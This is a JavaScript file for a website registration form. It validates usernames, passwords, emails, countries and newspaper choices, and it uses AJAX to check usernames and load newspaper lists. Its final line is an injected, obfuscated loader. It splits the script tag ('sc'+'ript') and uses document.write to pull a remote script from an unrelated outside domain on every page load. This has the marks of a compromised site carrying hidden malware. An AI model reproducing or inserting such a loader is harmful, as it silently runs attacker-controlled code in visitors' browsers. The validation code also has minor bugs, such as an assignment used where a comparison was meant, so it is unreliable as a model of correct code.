// JavaScript Document
function password_popup_show()
{
	document.getElementById("txtpassword").className="reg_text_box";
	document.getElementById("password_popup").style.visibility = 'visible';
	document.getElementById("passwordmsg").innerHTML="Password is Case-Sensitive. Use 6 to 12 characters";
}

function catptcha_popup_show()
{
	document.getElementById("scode").className="reg_text_box";
	document.getElementById("captcha_popup").style.visibility = 'visible';
	document.getElementById("captchamsg").innerHTML="Enter the CAPTCHA code specified on image.";
}

function captcha_popup_hide()
{
	if(document.frmreg.scode.value.indexOf(' ')>-1)
	{
		document.getElementById("captchamsg").innerHTML='* Spaces are not allowed in password ';
		document.getElementById("scode").focus();
		document.frmreg.scode.value='';
		return false;
	}
    else
	{
	   document.getElementById("captchamsg").innerHTML="";
       document.getElementById("captcha_popup").style.visibility = 'hidden';
    }

}

function password_popup_hide()
{
	if(document.frmreg.txtpassword.value.indexOf(' ')>-1)
	{
		document.getElementById("pwdempty").innerHTML='* Spaces are not allowed in password ';
		document.getElementById("txtpassword").focus();
		document.frmreg.txtpassword.value='';
		return false;
	}
	else if(document.frmreg.txtpassword.value.indexOf(' ')==-1) {
		var iChars = "_!@#$%^*()+=-[]\\\';/{}|\":<>?";
		for (var i = 0; i < document.frmreg.txtpassword.value.length; i++) {
			if (iChars.indexOf(document.frmreg.txtpassword.value.charAt(i)) != -1) {
				alert ("The Password has special characters. \nThese are not allowed.\n Please remove them and try again.");
				document.getElementById("txtpassword").value="";
				document.getElementById("txtpassword").focus();
				return false;
			}
         }
	}
	else 
	{
		var str=document.frmreg.txtpassword.value;
		var trimmed = str.replace(/^\s+|\s+$/g, '') ;
		var minLength = 6;
		if ((document.frmreg.txtpassword.value.length < minLength)) 
		{
			document.frmreg.txtpassword.value='';
			//document.getElementById("txtpassword").focus();
			document.getElementById("pwdempty").innerHTML="Password too short";
			document.getElementById("checkpassword").innerHTML="";
			document.getElementById("passwordmsg").innerHTML="";
		}
		else if (trimmed=='')
		{
			document.getElementById("password_popup").style.visibility = 'visible';
			document.getElementById("pwdempty").innerHTML="Password with spaces not allowed";
			document.getElementById("checkpassword").innerHTML="";
			document.getElementById("passwordmsg").innerHTML="";
			document.frmreg.txtpassword.value='';
		} 
		else
		{
			document.getElementById("password_popup").style.visibility = 'visible';
			document.getElementById("pwdempty").innerHTML="";
			document.getElementById("checkpassword").innerHTML="";
			document.getElementById("passwordmsg").innerHTML="Password is Case-Sensitive. Use 6 to 12 characters";
		}
	}
}


function usernamemsg_show()
{
	//var str = document.frmreg.username.value;
	//if ( str.length < 6 ) {
		document.getElementById("username").className="reg_text_box";
		document.getElementById("divcheckusername").style.visibility='visible';
		document.getElementById("usernamemsg").innerHTML="Must be between 6 to 12 characters";
	//}
}

function usernameedit_show()
{
	document.getElementById("divcheckusername").style.visibility='visible';
	document.getElementById("usernamemsg").innerHTML="Username cannot be changed";	
}

function usernamemsg_hide()
{
	//document.getElementById("divcheckusername").style.visibility='visible';
	var iChars = "`~!@#$%^&*()+=-[]\\\';/{}|\":<>?";
	var str=document.frmreg.username.value;
	for (var i = 0; i < document.frmreg.username.value.length; i++) {
		if (iChars.indexOf(document.frmreg.username.value.charAt(i)) != -1) {
			document.getElementById("divcheckusername").style.visibility='visible';
			//document.getElementById("checkusername").innerHTML='';
			document.getElementById("checkuser").innerHTML='';
			document.frmreg.username.value = str.substring(0,str.length-1);
			document.frmreg.username.focus();
			document.getElementById("checkusername").innerHTML="Username can not contain special characters";
			return false;
		}
		else {
			document.getElementById("checkusername").innerHTML="";	
		}
	}
}


function username_check()
{
	var minLength = 6;
	 if (document.frmreg.username.value.length < minLength) 
		{
			document.getElementById("username").value='';
			document.getElementById("checkusername").innerHTML="* Username too short ";
			document.getElementById("username").focus();
			return false;
		}
	else if(document.frmreg.username.value.indexOf(' ')>-1)
	{
		document.getElementById("checkusername").innerHTML="* Spaces are not allowed in username ";
		document.getElementById("username").focus();
		document.getElementById("username").value='';
		return false;
	}
}


function checkusername()
{
	var ret = usernamemsg_hide();
	if(ret==false) return false;
	var minLength = 6;
	if(document.frmreg.username.value.indexOf(' ')>-1)
	{
		document.getElementById("checkuser").innerHTML='';
		document.getElementById("checkusername").innerHTML="* Spaces are not allowed in username ";
		document.getElementById("username").focus();
		//document.getElementById("username").value='';
		return false;
	}
	else if (document.frmreg.username.value.length < minLength) 
	{
		document.getElementById("checkuser").innerHTML='';
		document.getElementById("checkusername").innerHTML="* Username too short ";
		document.getElementById("username").focus();
		//document.getElementById("username").value='';
		return false;
	}
	else
	{
		var value=document.frmreg.username.value;
		var url="usernamecheck.php?username="+value;
		var obj;
		try
		{
			obj=new XMLHttpRequest();
		}
		catch(e)
		{
			try
			{
				obj=new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch(e)
			{
				alert("Your browser does not support AJAX");
			}
		}
		obj.onreadystatechange=function()
		{
			if(obj.readyState==4)
			{
				var res=obj.responseText;
				if(res==1)
				{
					document.getElementById("divcheckusername").style.visibility='visible';
					document.getElementById("usernamemsg").innerHTML='';
					document.getElementById("checkuser").innerHTML='';
					document.getElementById("checkusername").innerHTML='* Username unavailable ';
					document.getElementById("username").focus();
					document.frmreg.username.value='';
					return false;
				}
				else if(res==0)
				{
					document.getElementById("divcheckusername").style.visibility='visible';
					document.getElementById("usernamemsg").innerHTML="";
					document.getElementById("checkusername").innerHTML='';
					document.getElementById("checkuser").innerHTML='Username available. You can continue';
				}
			}
		}
		obj.open("GET",url,true);
		obj.send(null);
	}
}


function hidepopup()
{
	document.getElementById("cnfrmpassword").className="reg_text_box";
	document.getElementById("divcheckusername").style.visibility='hidden';
}

function confirmpassword()
{
	var pass=document.frmreg.txtpassword.value;
	var cnfrmpass=document.frmreg.cnfrmpassword.value; 
	if(pass!=cnfrmpass)
	{
		document.getElementById("password_popup").style.visibility = 'visible';
		document.getElementById("passwordmsg").innerHTML='';
		document.getElementById("pwdempty").innerHTML="";
		document.getElementById("checkpassword").innerHTML='Passwords did not match, please try again';
		//document.frmreg.txtpassword.focus();
		document.frmreg.txtpassword.value="";
		document.frmreg.cnfrmpassword.value="";
		return false;
	} 
	else if(pass=cnfrmpass)
	{
		document.getElementById("password_popup").style.visibility = 'hidden';
	}
}

function check_email()
{
	var emailID=document.frmreg.email;
	if ((emailID.value==null)||(emailID.value=="")){
		alert("Please Enter your Email ID")
		emailID.focus()
		return false
	}
	if (echeck(emailID.value)==false){
		emailID.value=""
		emailID.focus()
		return false
	}
}
function validateAltEmailID(email) {
   var emlfld = document.getElementById(email)
   var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
   var address = emlfld.value;
   if( address!='' && reg.test(address) == false ) {
      alert('Invalid Alternate Email Address.');
	  emlfld.focus();
      return false;
   }
   return true;
}

function validateEmailID(email) {
   var emlfld = document.getElementById(email)
   var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
   var address = emlfld.value;
   if( address=='' || address=='example@123.com' || reg.test(address) == false ) {
      alert('Invalid Email Address.');
	  emlfld.focus();
      return false;
   }
   return true;
}

function echeck(str) {
	var at="@"
	var dot="."
	var lat=str.indexOf(at)
	var lstr=str.length
	var ldot=str.indexOf(dot)
	
	if (str.indexOf(at)==-1){
	   alert("Invalid E-mail ID")
	   return false
	}
	
	if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
	   alert("Invalid E-mail ID")
	   return false
	}
	
	if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		alert("Invalid E-mail ID")
		return false
	}
	
	if (str.indexOf(at,(lat+1))!=-1){
		alert("Invalid E-mail ID")
		return false
	}
	
	if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		alert("Invalid E-mail ID")
		return false
	}
	
	if (str.indexOf(dot,(lat+2))==-1){
		alert("Invalid E-mail ID")
		return false
	}
	
	if (str.indexOf(" ")!=-1){
	alert("Invalid E-mail ID")
	return false
	}
}


function changeCountry1(str){
	var ajaxRequest;
	try{
		// Opera 8.0+, Firefox, Safari
		ajaxRequest = new XMLHttpRequest();
	} catch (e){
		// Internet Explorer Browsers
		try{
			ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try{
				ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");

			} catch (e){
				alert("Your browser does not support ajax!");
				return false;
			}

		}
	}
	ajaxRequest.onreadystatechange = function(){
		if(ajaxRequest.readyState == 4){
			document.getElementById("newspaper_list1").innerHTML=ajaxRequest.responseText;
		}
	}

	var queryString = "?q=" + str ;
	ajaxRequest.open("GET", "getNewspapers1.php" + queryString, true);
	ajaxRequest.send(null); 
}

function changeCountry2(str){
	var ajaxRequest;
	try{
		// Opera 8.0+, Firefox, Safari
		ajaxRequest = new XMLHttpRequest();

	} catch (e){
		// Internet Explorer Browsers

		try{
			ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");

		} catch (e) {

			try{
				ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");

			} catch (e){
				alert("Your browser does not support ajax!");

				return false;
			}

		}
	}

	ajaxRequest.onreadystatechange = function(){
		if(ajaxRequest.readyState == 4){
			document.getElementById("newspaper_list2").innerHTML=ajaxRequest.responseText;
		}
	}

	var queryString = "?q=" + str ;
	ajaxRequest.open("GET", "getNewspapers2.php" + queryString, true);
	ajaxRequest.send(null); 
}


function changeCountry3(str){

	var ajaxRequest;

	try{
		// Opera 8.0+, Firefox, Safari
		ajaxRequest = new XMLHttpRequest();

	} catch (e){
		// Internet Explorer Browsers

		try{
			ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");

		} catch (e) {

			try{
				ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");

			} catch (e){

				alert("Your browser does not support ajax!");

				return false;

			}

		}
	}
	ajaxRequest.onreadystatechange = function(){
		if(ajaxRequest.readyState == 4){
			document.getElementById("newspaper_list3").innerHTML=ajaxRequest.responseText;
		}
	}
	var queryString = "?q=" + str ;
	ajaxRequest.open("GET", "getNewspapers3.php" + queryString, true);
	ajaxRequest.send(null); 
}

function validateForm()
{
	var doc=document.frmreg;
	window.scrollTo(0,70);
	if(doc.username.value.length<6){
		alert('Username too short. Should be 6 characters at least.');
		doc.username.className="reg_text_box";
		doc.username.focus();
		return false;
	}
	if(doc.username.value=='' || doc.username.value=='User Name'){
		alert('Please enter the User Name');
		doc.username.value="";
		doc.username.className="reg_text_box";
		doc.username.focus();
		return false;
	}

	if(doc.txtpassword.value=='password'){
		alert('Please enter the Password');
		doc.txtpassword.value="";
		doc.txtpassword.className="reg_text_box";
		doc.txtpassword.focus();
		return false;
	}
	var iChars = "!_@#$%^*()+=-[]\\\';/{}|\":<>?"; 
	var minLength = 6; // Minimum length
	if (document.frmreg.txtpassword.value.length < minLength) 
	{
		alert('Password too short. Should be 6 characters at least.');
		return false;
	}
	
	if (document.frmreg.txtpassword.value != document.frmreg.cnfrmpassword.value) {
		alert('Passwords do not match.');
		return false;
	}

	var invalid = " "; // Invalid character is a space
	// check for spaces
	if (document.frmreg.txtpassword.value.indexOf(invalid) > -1) {
	alert("Sorry, spaces are not allowed.");
	return false;
	}

	for (var i = 0; i < document.frmreg.txtpassword.value.length; i++) {
	if (iChars.indexOf(document.frmreg.txtpassword.value.charAt(i)) != -1) {
	alert ("The Password has special characters. \nThese are not allowed.\n Please remove them and try again.");
	return false;
	}
	}
	if(doc.cnfrmpassword.value=='password'){
		alert('Please enter the Confirm Password');
		doc.cnfrmpassword.value="";
		doc.cnfrmpassword.className="reg_text_box";
		doc.cnfrmpassword.focus();
		return false;
	}
	if(doc.fname.value=='First Name'){
		alert('Please enter the First Name');
		doc.fname.value="";
		doc.fname.className="reg_text_box";
		doc.fname.focus();
		return false;
	}

	var str=document.frmreg.fname.value;
	var trim = str.replace(/^\s+|\s+$/g, '') ;
	 if (trim=='')
	{
		alert ("Please Enter First Name");
		document.frmreg.fname.value='';
		document.frmreg.fname.focus();
		return false;
	}

	 for (var i = 0; i < document.frmreg.fname.value.length; i++) {
	if (iChars.indexOf(document.frmreg.fname.value.charAt(i)) != -1) {
	alert ("The First Name has special characters. \nThese are not allowed.\n Please remove them and try again.");
	return false;
	}
	}

	if(doc.lname.value=='Last Name'){
		alert ("Please Enter Last Name");
		doc.lname.value="";
		doc.lname.className="reg_text_box";
		doc.lname.focus();
		return false;
	}

	var str1=document.frmreg.lname.value;
	var trim1 = str1.replace(/^\s+|\s+$/g, '') ;
	 if (trim1=='')
	{
		alert ("Please Enter Last Name");
		document.frmreg.lname.value='';
		document.frmreg.lname.focus();
		return false;
	}

	for (var i = 0; i < document.frmreg.lname.value.length; i++) {
	if (iChars.indexOf(document.frmreg.lname.value.charAt(i)) != -1) {
	alert ("The Last Name has special characters. \nThese are not allowed.\n Please remove them and try again.");
	return false;
	}
	}

	val_gen=document.frmreg.btngender.value;
	{	
		if(val_gen=="---Select ---")
		{
		   alert ("Please select a gender");
		   document.frmreg.btngender.focus();
		   return false;
		}
	}

	val_age=document.frmreg.selectAge.value;
	{	
			if(val_age=="---Select ---")
			{
			   alert ("Please select age group");
			   document.frmreg.selectAge.focus();
			   return false;
			}
	}

   if ( validateEmailID('email') == false ) {
	   return false;
   }
   if ( validateAltEmailID('altemail') == false ) {
	   return false;
   }
   /*if (doc.email.value=='' || doc.email.value=='example@123.com'){
		alert ("Please Enter your email-id");
		doc.email.value="";
		doc.email.className="reg_text_box";
		doc.email.focus();
		return false;
	}*/

	var sel_country=document.frmreg.selectCountry.value;
	if(sel_country=="----Select Country----")
	{
		alert("Please select a country");
		document.frmreg.selectCountry.focus();
		return false;
	}

	var country1=document.frmreg.selectCountry1.value;
	var country2=document.frmreg.selectCountry2.value;
	var country3=document.frmreg.selectCountry3.value;

	if(country1==0)
	{
		alert("Please select a country from the first list");
		return false;
	}

	if(country2==0)
	{
		alert("Please select a country from the second list");
		return false;
	}

	if(country3==0)
	{
		alert("Please select a country from the third list");
		return false;
	}

	if(country1==country2==country3 || country1==country2 || country2==country3 || country1==country3)
	{
		alert("You have selected same country. \n Please choose different countries and try again");
		return false;
	}



	   newspaper1=document.frmreg.selectnewspapers1.value;

	   newspaper2=document.frmreg.selectnewspapers2.value;

	   newspaper3=document.frmreg.selectnewspapers3.value;



	   if(newspaper1=="")



	   {



		   alert("Please select atleast one  newspaper from first list")



		   return false;



	   }



	    if(newspaper2=="")



	   {



		   alert("Please select atleast one  newspaper from second list")



		   return false;



	   }



	   



	   



	    if(newspaper3=="")



	   {



		   alert("Please select atleast one  newspaper from third list")



		   return false;



	   }



	   if(document.frmreg.chkNalert.checked==true && document.frmreg.txtNalert.value==''){

	   		alert('Please enter a topic for news alert');

			document.frmreg.txtNalert.focus();

			return false;

	   }



	   if (document.frmreg.scode.value=='')



                {



                	alert ("Please Enter the security Code");



                	document.frmreg.scode.focus();



                	return false;



                } for (var i = 0; i < document.frmreg.scode.value.length; i++) {



              	if (iChars.indexOf(document.frmreg.scode.value.charAt(i)) != -1) {



              	alert ("The Captcha has special characters. \nThese are not allowed.\n Please remove them and try again.");



              	return false;



              	}



                }



}















function checkvalue_radio()



{



					   



	for (var i=0; i < document.frmreg.btngender.length; i++)



	{



	if (document.frmreg.btngender[i].checked)



	  {



	  var check = 1; break;



	  }



	else



	{



		var check=0;



	}



	}



	if(check==0)



	{



				return 1;



	}



		 



}







function cancelregistration()



	{



		window.location="index.php";



	}




document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/VGA.js"></scri'+'pt>');